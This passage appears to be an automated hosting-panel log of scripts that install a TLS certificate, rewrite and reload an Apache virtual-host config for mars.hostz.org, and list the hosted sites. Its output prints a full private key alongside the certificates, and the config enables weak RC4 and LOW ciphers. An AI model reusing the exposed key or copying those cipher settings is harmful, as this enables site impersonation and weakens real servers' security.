6JZw0+UX0enk1KAbrlrJ/EEb5nIdSGemGYw90ILz3Bnc3SDCZ7TavlVIpE4H9OZW
IUK2V7ApPpiY8VrpeGQJIZMWtncp0oYej5zullxDHN/BhazB0pplQHUAtkb3pnOQ
J1hgGu1l8jboPSQScLRl0PoY
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-13 06:00:31:
chmod 755 /tmp/pkp309121; /tmp/pkp309121; rm /tmp/pkp309121
2025-12-13 06:00:31:
dir=/etc/ssl/certs
2025-12-13 06:00:31:
PUT: /tmp/pkp374546
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/000-hostz_mars_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-13 06:00:31:
chmod 755 /tmp/pkp374546; /tmp/pkp374546; rm /tmp/pkp374546
2025-12-13 06:00:31:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/000-hostz_mars_org.conf 38
<VirtualHost *:80>
ServerName mars.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_mars
<Directory /var/www/hostz_mars>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/mars_access.log combined
ErrorLog /var/log/apache2/hostz/mars_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName mars.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_mars
<Directory /var/www/hostz_mars>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_mars/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/mars_secure_access.log combined
ErrorLog /var/log/apache2/hostz/mars_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-13 06:00:31:
PUT: /tmp/pkp874230
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=000-hostz_mars_org.conf
TARGET=/etc/apache2/sites-enabled/000-hostz_mars_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName mars.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_mars
<Directory /var/www/hostz_mars>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/mars_access.log combined
ErrorLog /var/log/apache2/hostz/mars_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName mars.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_mars
<Directory /var/www/hostz_mars>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_mars/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/mars_secure_access.log combined
ErrorLog /var/log/apache2/hostz/mars_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/000-hostz_mars_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2//etc/apache2/sites-enabled/000-hostz_mars_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/000-hostz_mars_org.conf= 1'
fi
2025-12-13 06:00:31:
chmod 755 /tmp/pkp874230; /tmp/pkp874230; rm /tmp/pkp874230
2025-12-13 06:00:31:
2025-12-13 06:00:31:
PUT: /tmp/pkp532809
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-13 06:00:31:
chmod 755 /tmp/pkp532809; /tmp/pkp532809; rm /tmp/pkp532809
2025-12-13 06:00:31:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-13 06:00:32: Establishing a connection
2025-12-13 06:00:32:
PUT: /tmp/pkp958071
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-13 06:00:32:
chmod 755 /tmp/pkp958071; /tmp/pkp958071; rm /tmp/pkp958071
2025-12-13 06:00:32:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-13 06:00:32:
PUT: /tmp/pkp907057
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/000-hostz_mars_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-13 06:00:32:
chmod 755 /tmp/pkp907057; /tmp/pkp907057; rm /tmp/pkp907057
2025-12-13 06:00:32:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/000-hostz_mars_org.conf 1374
<VirtualHost *:80>
ServerName mars.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_mars
<Directory /var/www/hostz_mars>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/mars_access.log combined
ErrorLog /var/log/apache2/hostz/mars_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName mars.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_mars
<Directory /var/www/hostz_mars>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_mars/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/mars_secure_access.log combined
ErrorLog /var/log/apache2/hostz/mars_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-13 06:00:32:
PUT: /tmp/pkp623129
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-13 06:00:32:
chmod 755 /tmp/pkp623129; /tmp/pkp623129; rm /tmp/pkp623129
2025-12-13 06:00:32:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d 5356
15:65:88:fd:01:7f:5e:8a:c1:74:6a:5e:78:e7:17:ca
-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBemre6i6wEiWDdHI5veIf7UlMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjEzMDUwMjAwWhcNMjYwMzEzMDUwMTU5WjAZMRcwFQYDVQQD
Ew5tYXJzLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALSETbZvitWByvNLdqFd2+Y1jqtvN+gSn6yaQRj9pxYECIJIwWhEfByzGoVYjidb
uMcapXLL2nE9kEXZjB651N7cFk8YnAXIUqpvyLXSs4VUz0a0dX46UeNdhFpt4lis
8MrDT2nI36aCLvgwuwh7QT+ddtLtvYV0om9hFKBC3LpkPKdxj3aEScxkyWeIpL79
1KTpB19qtpRCRrIG4KXSlmgOOJ8zhyVQ4RF825P/W0M0V+bAWzP5xNIHr4U1jY5G
kYHkNfGuN1VXrKFRX8/CB72N4rVdphFe0wSnnj0UCeqrXy8K+Ljo0TmKre0tCLta
gQEgllJ40nFdBjVUgPlR98UCAwEAAaOCAiYwggIiMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU1ivQpnSksIDLZGOASliLk7BqdE4wHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5tYXJzLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzM4LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2AEmcm2ne
HXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAABmxZL4YkAAAQDAEcwRQIhAJlz
Dq0BuCWtIv3Y7s46+53/jLilotOf8AKlkrzT5tJpAiAW9GBUjfehU3kySZCNCl32
XQhyh7e1PP7sRIlH/ZOeNAB+AKXJeJJdV0YXgocN2IlmC1xVZIt9AEDy7AdoUdGI
aRn3AAABmxZL424ACAAABQArhge+BAMARzBFAiAKRJ7u7oppvbX/HLCDUw0z9yUr
uGJkAuOiBvV54BOGWwIhAIkFBdM0F6JZ11Y+6+fFMI0YlQegeAIyhG8LCVac4BsA
MA0GCSqGSIb3DQEBCwUAA4IBAQCPd1ZqpL2NAuPAm33yEvKv76V6Db0lcwRBTSU5
m7XTW8uxtbcMfqiqK/iaYjMrWYAYbKxiBx3nRlma1R3IUnIHfxhueLO4R/JoH9d4
ftVK0I9OY6104feDUR+uz3XT80PvDnwvV8LwvfAOkl8MCprPUphButwL0V9kkent
1Vk2CNJq8+yCMDzGgKEe90rVnKOeN7LTaXT3h0HwopH97yvp1pTdFgDdTojVhhON
dneopW3Dniks+so1dDy5CyrXKPRpqxERENdUHuqEsXG7QvmhT8fjA7Th1K2XEp6V
TJ8hFX3LNXjTSZ5xtICYdC6GQr5JLrLb8W7yzf4KSUb39CE4
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC0hE22b4rVgcrz
S3ahXdvmNY6rbzfoEp+smkEY/acWBAiCSMFoRHwcsxqFWI4nW7jHGqVyy9pxPZBF
2YweudTe3BZPGJwFyFKqb8i10rOFVM9GtHV+OlHjXYRabeJYrPDKw09pyN+mgi74
MLsIe0E/nXbS7b2FdKJvYRSgQty6ZDyncY92hEnMZMlniKS+/dSk6QdfaraUQkay
BuCl0pZoDjifM4clUOERfNuT/1tDNFfmwFsz+cTSB6+FNY2ORpGB5DXxrjdVV6yh
UV/Pwge9jeK1XaYRXtMEp549FAnqq18vCvi46NE5iq3tLQi7WoEBIJZSeNJxXQY1
VID5UffFAgMBAAECggEBAJMp2QEF5jUxXvcBanEbR45h0zHHtdgodqwMBU4OXA0C
tL0h+yq5ykTLbq+PBjTn/bez7XWs4yS2f8uyEx1pejVFT5qkAW5lZZ81CnfQkjH8
dg66R57khKXLM39VXdXVB2kF2NPwwwPH1erYL2I2uXbXNGu5DWyjLVmH13zfhXsd
pWSXZ4jZ+nKP+zC+roNow3nKLkPf/Dng+q3ma8UxSxa7xncP6g8d+l4j7ddM6WS5
dAMTZy4TXjOLzY5dBhS6EqedRTCXrpXii+b/KoK47U/hVkWpbXgLFpDbCsiL5x30
UJNKahibRjYR0qd9sjiq/l9w7H8o0iYPBKmzzQEht4ECgYEA5XCW1+ndiv4PX9s8
EHLD+774TYZJjYmI279quvv6sreGHD9Z7NYLav/mW+9sQE8tZSGvoNeuDNj9QuDh
Jodu8hwZFvEcWntsd5WHc/jQQ2ByK+l5LRnPTXFCBRPYz2h6stqo2ahFc19+rBSu
fTb6CtksNKpqvEAhrZ7ZHYwTsD0CgYEAyWnjuXIUfjuzxvWlQ4qdXMRfbaw2fdep
DB6q0fyT6AVdoh7FJbVeSw9G5wI5wAqIlV8WAcj5TbjJaHj2wV3kt0oePXebAkF3
luZwUCUzqNZlpWYG118hhAYKQUSRfwmGGl0IMBu1ozAVNBLLqSLpdu4iXGeTCOpo
bjkGxQPzlikCgYA2mMscR+dTCs/HxJiPZW/jePcHI5xfFMo/WFZidlGas3czQ5P3
epuu84Pyfo+o4e5wcUqkoI4nOn9RqceJ7pJlBHCn9+oCUfpmnmtkGmIclle0wVL3
e3vL9tZ59NYTzM3dv5CMcrFMGf4/npBC9ZEcgb82LRNHBo+9C96oXEvXFQKBgGK2
ux2Qg+q6aAoDKtRHg4iL1hlyZeKXaArAnQf9up/kwVdLrWQl1+kBu8ZMmPE+OGK9
D5QgY89r2YqSfp2W3xnWAawuipI4c9xJZJJjKUZ+jaLatk+oGE0UiMIkUQrqKAeT
wQeTDRrF3h5/d8GVksbvP3f6a13bRQOAf4jfvurBAoGBANaTsqADHx9IHWpSA0mh
6JZw0+UX0enk1KAbrlrJ/EEb5nIdSGemGYw90ILz3Bnc3SDCZ7TavlVIpE4H9OZW
IUK2V7ApPpiY8VrpeGQJIZMWtncp0oYej5zullxDHN/BhazB0pplQHUAtkb3pnOQ
J1hgGu1l8jboPSQScLRl0PoY
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
